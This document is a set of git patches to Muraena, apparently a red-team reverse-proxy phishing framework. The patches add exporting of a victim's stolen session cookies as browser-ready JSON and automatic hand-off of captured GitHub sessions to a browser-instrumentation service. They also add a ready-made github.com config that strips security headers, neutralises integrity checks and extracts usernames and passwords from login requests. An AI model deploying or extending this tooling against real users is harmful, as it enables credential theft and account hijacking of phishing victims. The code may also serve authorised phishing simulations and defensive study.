From 23d595e6bde4aa91f91c4520e2abfb4e4babde02 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 15 Feb 2021 09:47:40 +0100 Subject: [PATCH 1/3] Added export to export a full session cookieJar as JSON (ready for browser manual import) --- core/db/victim.go | 18 +++++++------- module/tracking/tracking.go | 9 +++++++ module/tracking/victim.go | 47 +++++++++++++++++++++++++++++++++++++ session/prompt.go | 10 ++++++-- 4 files changed, 74 insertions(+), 10 deletions(-) diff --git a/core/db/victim.go b/core/db/victim.go index 0588da8..c88abd5 100644 --- a/core/db/victim.go +++ b/core/db/victim.go @@ -35,14 +35,16 @@ type VictimCredential struct { // KEY scheme: // victim::cookiejar: type VictimCookie struct { - Name string `redis:"name"` - Value string `redis:"value"` - Domain string `redis:"domain"` - Expires string `redis:"expires"` - Path string `redis:"path"` - HTTPOnly bool `redis:"httpOnly"` - Secure bool `redis:"secure"` - Session bool `redis:"session"` // is the cookie a session cookie? + Name string `redis:"name" json:"name"` + Value string `redis:"value" json:"value"` + Domain string `redis:"domain" json:"domain"` + Expires string `redis:"expires" json:"expirationDate"` + Path string `redis:"path" json:"path"` + HTTPOnly bool `redis:"httpOnly" json:"httpOnly"` + Secure bool `redis:"secure" json:"secure"` + SameSite string `redis:"sameSite" json:"sameSite"` + Session bool `redis:"session" json:"session"` // is the cookie a session cookie? + } func StoreVictim(id string, victim *Victim) error { diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go index 23d8678..1e6c5cc 100644 --- a/module/tracking/tracking.go +++ b/module/tracking/tracking.go @@ -71,6 +71,15 @@ func (module *Tracker) Prompt(what string) { case "credentials": module.ShowCredentials() } + + // export cookie jar as JSON file, like: export ygTCC + if strings.HasPrefix(what, "export ") { + id := strings.Split(what, " ") + if len(id) != 2 { + return + } + module.ExportSession(id[1]) + } } // IsEnabled returns a boolead to indicate if the module is enabled or not diff --git a/module/tracking/victim.go b/module/tracking/victim.go index c6b6c72..db178eb 100644 --- a/module/tracking/victim.go +++ b/module/tracking/victim.go @@ -1,8 +1,11 @@ package tracking import ( + "encoding/json" "fmt" + "github.com/muraenateam/muraena/module/necrobrowser" "os" + "time" "github.com/evilsocket/islazy/tui" @@ -67,6 +70,50 @@ func (module *Tracker) ShowCredentials() { } +// ShowVictims prints the list of victims +func (module *Tracker) ExportSession(id string) { + + const timeLayout = "2006-01-02 15:04:05 -0700 MST" + + rawCookies, err := db.GetVictimCookiejar(id) + if err != nil { + module.Debug("error fetching victim %d cookie jar: %s", id, err) + } + + // this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type + var cookieJar []necrobrowser.SessionCookie + + for _, c := range rawCookies { + log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout) + t, err := time.Parse(timeLayout, c.Expires) + if err != nil { + log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name) + continue + } + + nc := necrobrowser.SessionCookie{ + Name: c.Name, + Value: c.Value, + Domain: c.Domain, + Expires: t.Unix(), + Path: c.Path, + HTTPOnly: c.HTTPOnly, + Secure: c.Secure, + Session: t.Unix() < 1, + } + + cookieJar = append(cookieJar, nc) + } + + cookieJarJson, err := json.Marshal(cookieJar) + if err != nil { + module.Warning("Error marshalling the cookieJar: %s", err) + return + } + + log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson) +} + // ShowVictims prints the list of victims func (module *Tracker) ShowVictims() { diff --git a/session/prompt.go b/session/prompt.go index bb00265..faf0c04 100644 --- a/session/prompt.go +++ b/session/prompt.go @@ -50,6 +50,10 @@ func Prompt(s *Session) { s.showTracking(result) } + if strings.HasPrefix(result, "export ") { + s.showTracking(result) + } + } } @@ -63,18 +67,20 @@ func validate(input string) error { return nil } + if strings.HasPrefix(input, "export ") { + return nil + } return errors.New(InvalidCommand) } func help() { log.Raw("**************************************************************************") - log.Raw("* NOTE: This feature is not fully implemented yet. ") - log.Raw("* Follow evolutions on https://github.com/muraenateam/muraena/issues/5") log.Raw("* Options") log.Raw("* - help: %s", tui.Bold("Prints this help")) log.Raw("* - exit: %s", tui.Bold("Exit from "+core.Name)) log.Raw("* - victims: %s", tui.Bold("Show active victims")) log.Raw("* - credentials: %s", tui.Bold("Show collected credentials")) + log.Raw("* - export : %s", tui.Bold("Export a session as JSON")) log.Raw("**************************************************************************") } From 6776a457737f8bd2ee9b2016a02e2576dc5ed281 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 15 Feb 2021 14:33:07 +0100 Subject: [PATCH 2/3] Added necrobrowser auto-trigger functionality based on cookie jar items. Fixed tracking via path (now supports not-existing paths too). Added example Github configuration --- config/config.github.toml | 185 ++++++++++++++++++++++++++++ config/config.toml | 16 +++ core/db/victim.go | 19 ++- core/helper.go | 16 +-- log/format.go | 2 +- module/necrobrowser/necrobrowser.go | 73 ++++++++++- module/tracking/tracking.go | 19 ++- session/config.go | 23 +++- 8 files changed, 334 insertions(+), 19 deletions(-) create mode 100644 config/config.github.toml diff --git a/config/config.github.toml b/config/config.github.toml new file mode 100644 index 0000000..11d5656 --- /dev/null +++ b/config/config.github.toml @@ -0,0 +1,185 @@ +[proxy] +# Phishing domain +phishing = "phishing.com" + +# Target domain to proxy +destination = "github.com" + +# Listening IP address +IP = "0.0.0.0" + +# Listeninng TCP Port +port = 443 + +# Force HTTP to HTTPS redirection +[proxy.HTTPtoHTTPS] +enabled = true +HTTPport = 80 + + +# +# Proxy's replacement rules +# +[transform] + +# List of content types to exclude from the transformation process +skipContentType = [ "font/*", "image/*" ] + +# Enable transformation rules in base64 strings +[transform.base64] +enabled = false +padding = [ "=", "." ] + +[transform.request] +headers = [ + "Cookie", + "Referer", + "Origin", + "X-Forwarded-For" +] + +[transform.response] +headers = [ + "Location", + "WWW-Authenticate", + "Origin", + "Set-Cookie", + "Access-Control-Allow-Origin" +] + +# Generic replacement rules: +# it applies to body and any http header enabled for manipulation +content = [ + [ "integrity", "intintint" ] +] + + +# +# Proxy's wiping rules +# +[remove] + +[remove.request] +headers = [ + "X-Forwarded-For" +] + +[remove.response] +headers = [ + "Content-Security-Policy", + "Content-Security-Policy-Report-Only", + "Strict-Transport-Security", + "X-XSS-Protection", + "X-Content-Type-Options", + "X-Frame-Options", + "Referrer-Policy", + "X-Forwarded-For" +] + +# +# Rudimental redirection rules +# +[[drop]] +path = "/logout" +redirectTo = "https://github.com" + + +# +# LOG +# +[log] +enabled = true +filePath = "muraena.log" + + +# +# TLS +# +[tls] +enabled = true + +# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the +# filepath +expand = false +certificate = "./cert.pem" +key = "./privkey.pem" +root = "./fullchain.pem" + +# +# CRAWLER +# +[crawler] +enabled = false +depth = 3 +upto = 20 +externalOriginPrefix = "cdn-" +externalOrigins = [ + "*.githubassets.com" +] + +# +# NECROBROWSER +# +[necrobrowser] +enabled = true +endpoint = "http://127.0.0.1:3000/instrument" +profile = "./config/instrument.github.necro" + +[necrobrowser.keepalive] +# GET on an authenticated endpoint to keep the session alive +# every keepalive request is processed as its own necrotask +enabled = false +minutes = 5 # keeps alive the session every 5 minutes + + +[necrobrowser.trigger] +type = "cookies" +values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth +delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something + + +# +# STATIC SERVER +# +[staticServer] +enabled = false +port = 8080 +localPath = "./static/" +urlPath = "/evilpath/" + + +# +# TRACKING +# +[tracking] +enabled = true + +# the tracking below supposes your phishing url will be something like: +# https://github.com/GithubProfile/aaa-111-bbb (see regex below) +# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly): +# https://github.com/GithubProfileFooBar/aaa-111-bbb +type = "path" + +# Tracking identifier +identifier = "_GithubProfile_" + +# Rule to generate and validate a tracking identifier +regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}" + +[tracking.urls] +credentials = [ "/session" ] + +# we don't need this anymore since we manage via necrobrowser.trigger +# authSession = [ "/settings/profile" ] + +[[tracking.patterns]] +label = "Username" +matching = "login" +start = "login=" +end = "&password=" + +[[tracking.patterns]] +label = "Password" +matching = "password" +start = "password=" +end = "&" \ No newline at end of file diff --git a/config/config.toml b/config/config.toml index 964dc0b..954f77f 100644 --- a/config/config.toml +++ b/config/config.toml @@ -139,6 +139,22 @@ endpoint = "http://necrobrowser.url/xyz" profile = "./config/instrument.necro" + [necrobrowser.keepalive] + # GET on an authenticated endpoint to keep the session alive + # every keepalive request is processed as its own necrotask + enabled = false + minutes = 5 # keeps alive the session every 5 minutes + + + [necrobrowser.trigger] + type = "cookies" + values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths + delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something + + # type path example (triggers when the victim goes to a specific relative URL): + # type = "path" + # values = ["/settings/profile"] + # delay = 5 # # STATIC SERVER diff --git a/core/db/victim.go b/core/db/victim.go index c88abd5..eedda54 100644 --- a/core/db/victim.go +++ b/core/db/victim.go @@ -20,6 +20,8 @@ type Victim struct { CredsCount int `redis:"creds_count"` CookieJar string `redis:"cookiejar_id"` + + SessionInstrumented bool `redis:"session_instrumented"` } // a victim has at least one set of credentials @@ -68,6 +70,21 @@ func StoreVictim(id string, victim *Victim) error { return nil } +func SetSessionAsInstrumented(id string) error { + + rc := RedisPool.Get() + defer rc.Close() + + key := fmt.Sprintf("victim:%s", id) + + if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil { + log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err) + return err + } + + return nil +} + func GetAllVictims() ([]string, error) { rc := RedisPool.Get() defer rc.Close() @@ -197,7 +214,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) { return nil, err } - log.Info("Victim %s has %d cookies in the cookiejar", id, len(values)) + log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values)) var cookiejar []VictimCookie for _, name := range values { diff --git a/core/helper.go b/core/helper.go index f4f86da..2ff9ac7 100644 --- a/core/helper.go +++ b/core/helper.go @@ -47,14 +47,14 @@ func (response *Response) Unpack() (buffer []byte, err error) { rc = response.Body buffer, _ = ioutil.ReadAll(rc) /* - if err != nil { - return nil, err - } - err = response.Body.Close() - if err != nil { - return nil, err - } - */ + if err != nil { + return nil, err + } + err = response.Body.Close() + if err != nil { + return nil, err + } + */ defer rc.Close() } return diff --git a/log/format.go b/log/format.go index 7798909..6dd3404 100644 --- a/log/format.go +++ b/log/format.go @@ -47,4 +47,4 @@ var ( dateTimeFormat = "02 Jan 06 15:04 MST" // Format is the default format being used when logging. format = "{datetime} {level:color}{level:name}{reset} {message}" -) \ No newline at end of file +) diff --git a/module/necrobrowser/necrobrowser.go b/module/necrobrowser/necrobrowser.go index 793a43c..7ea3011 100644 --- a/module/necrobrowser/necrobrowser.go +++ b/module/necrobrowser/necrobrowser.go @@ -11,7 +11,7 @@ import ( "gopkg.in/resty.v1" - "github.com/muraenateam/muraena/session" + session "github.com/muraenateam/muraena/session" ) const ( @@ -103,9 +103,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) { m.Request = string(bytes) + // spawn a go routine that checks all the victims cookie jars every N seconds + // to see if we have any sessions ready to be instrumented + if s.Config.NecroBrowser.Enabled { + go m.CheckSessions() + } + return } +func (module *Necrobrowser) CheckSessions() { + + triggerType := module.Session.Config.NecroBrowser.Trigger.Type + triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay + + for { + switch triggerType { + case "cookies": + module.CheckSessionCookies() + case "path": + // TODO + log.Warning("currently unsupported. TODO implement path") + default: + log.Warning("unsupported trigger type: %s", triggerType) + } + + time.Sleep(time.Duration(triggerDelay) * time.Second) + } +} + +func (module *Necrobrowser) CheckSessionCookies() { + triggerValues := module.Session.Config.NecroBrowser.Trigger.Values + + victims, err := db.GetAllVictims() + if err != nil { + module.Debug("error fetching all victims: %s", err) + } + + module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims)) + + for _, vId := range victims { + cookieJar, err := db.GetVictimCookiejar(vId) + if err != nil { + module.Debug("error fetching victim %s: %s", vId, err) + } + + cookiesFound := 0 + cookiesNeeded := len(triggerValues) + for _, cookie := range cookieJar { + if Contains(&triggerValues, cookie.Name) { + cookiesFound++ + } + } + + v, _ := db.GetVictim(vId) + + // if we find the cookies, and the session has not been already instrumented (== false), then instrument + if cookiesNeeded == cookiesFound && !v.SessionInstrumented { + module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array + // prevent the session to be instrumented twice + db.SetSessionAsInstrumented(vId) + } + + } +} + +func Contains(slice *[]string, find string) bool { + for _, a := range *slice { + if a == find { + return true + } + } + return false +} + func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) { var necroCookies []SessionCookie diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go index 1e6c5cc..c2aedb3 100644 --- a/module/tracking/tracking.go +++ b/module/tracking/tracking.go @@ -4,6 +4,7 @@ import ( //"encoding/json" "encoding/json" "fmt" + "github.com/muraenateam/muraena/log" "net/http" "net/url" "path" @@ -222,18 +223,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) { } noTraces := true + isTrackedPath := false // // Tracing types: Path || Query (default) // if module.Type == "path" { - re := regexp.MustCompile(`/([^/]+)`) + tr := module.Session.Config.Tracking + + pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex + re := regexp.MustCompile(pathRegex) + match := re.FindStringSubmatch(request.URL.Path) + module.Info("tracking path match: %v", match) + if len(match) > 0 { - t = module.makeTrace(match[1]) + t = module.makeTrace(match[0]) if t.IsValid() { + log.Info("setting If-Landing-Redirect header to %s", strings.ReplaceAll(request.URL.Path, t.ID, "")) request.Header.Set("If-Landing-Redirect", strings.ReplaceAll(request.URL.Path, t.ID, "")) noTraces = false + isTrackedPath = true } } } @@ -303,6 +313,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) { } v.RequestCount++ + + if module.Type == "path" && isTrackedPath { + request.URL.Path = module.Session.Config.Tracking.RedirectTo + } + return } diff --git a/session/config.go b/session/config.go index 302b560..c510339 100644 --- a/session/config.go +++ b/session/config.go @@ -18,7 +18,6 @@ const ( DefaultHTTPSPort = 443 ) - // Configuration type Configuration struct { Protocol string `toml:"-"` @@ -94,11 +93,11 @@ type Configuration struct { // TLS // TLS struct { - Enabled bool `toml:"enabled"` - Expand bool `toml:"expand"` - Certificate string `toml:"certificate"` - Key string `toml:"key"` - Root string `toml:"root"` + Enabled bool `toml:"enabled"` + Expand bool `toml:"expand"` + Certificate string `toml:"certificate"` + Key string `toml:"key"` + Root string `toml:"root"` CertificateContent string `toml:"-"` KeyContent string `toml:"-"` @@ -126,6 +125,17 @@ type Configuration struct { Enabled bool `toml:"enabled"` Endpoint string `toml:"endpoint"` Profile string `toml:"profile"` + + Keepalive struct { + Enabled bool `toml:"enabled"` + Minutes int `toml:"minutes"` + } `toml:"keepalive"` + + Trigger struct { + Type string `toml:"type"` + Values []string `toml:"values"` + Delay int `toml:"delay"` + } `toml:"trigger"` } `toml:"necrobrowser"` // @@ -148,6 +158,7 @@ type Configuration struct { Domain string `toml:"domain"` IPSource string `toml:"ipSource"` Regex string `toml:"regex"` + RedirectTo string `toml:"redirectTo"` Urls struct { Credentials []string `toml:"credentials"` From 46e7ca31983c887ec0e90ea791858d4651f8d653 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 15 Feb 2021 16:20:01 +0100 Subject: [PATCH 3/3] Using Debug log verbosity instead of info in victim tracker --- module/tracking/victim.go | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/module/tracking/victim.go b/module/tracking/victim.go index db178eb..0069b4f 100644 --- a/module/tracking/victim.go +++ b/module/tracking/victim.go @@ -39,7 +39,7 @@ func (module *Tracker) ShowCredentials() { var rows [][]string victims, err := db.GetAllVictims() - log.Info("All Victims: %v", victims) + log.Debug("All Victims: %v", victims) if err != nil { module.Debug("error fetching all victims: %s", err) @@ -51,7 +51,7 @@ func (module *Tracker) ShowCredentials() { module.Debug("error fetching victim %s: %s", vID, err) } - log.Info("Creds for victim %s: %d", vID, victim.CredsCount) + log.Debug("Creds for victim %s: %d", vID, victim.CredsCount) for i := 0; i < victim.CredsCount; i++ { t := tui.Green(victim.ID) @@ -133,10 +133,9 @@ func (module *Tracker) ShowVictims() { module.Debug("error fetching all victims: %s", err) } - log.Info("All Victims: %v", victims) + log.Debug("All Victims: %v", victims) for _, vId := range victims { - log.Info("victim id: %v", vId) v, err := db.GetVictim(vId) if err != nil {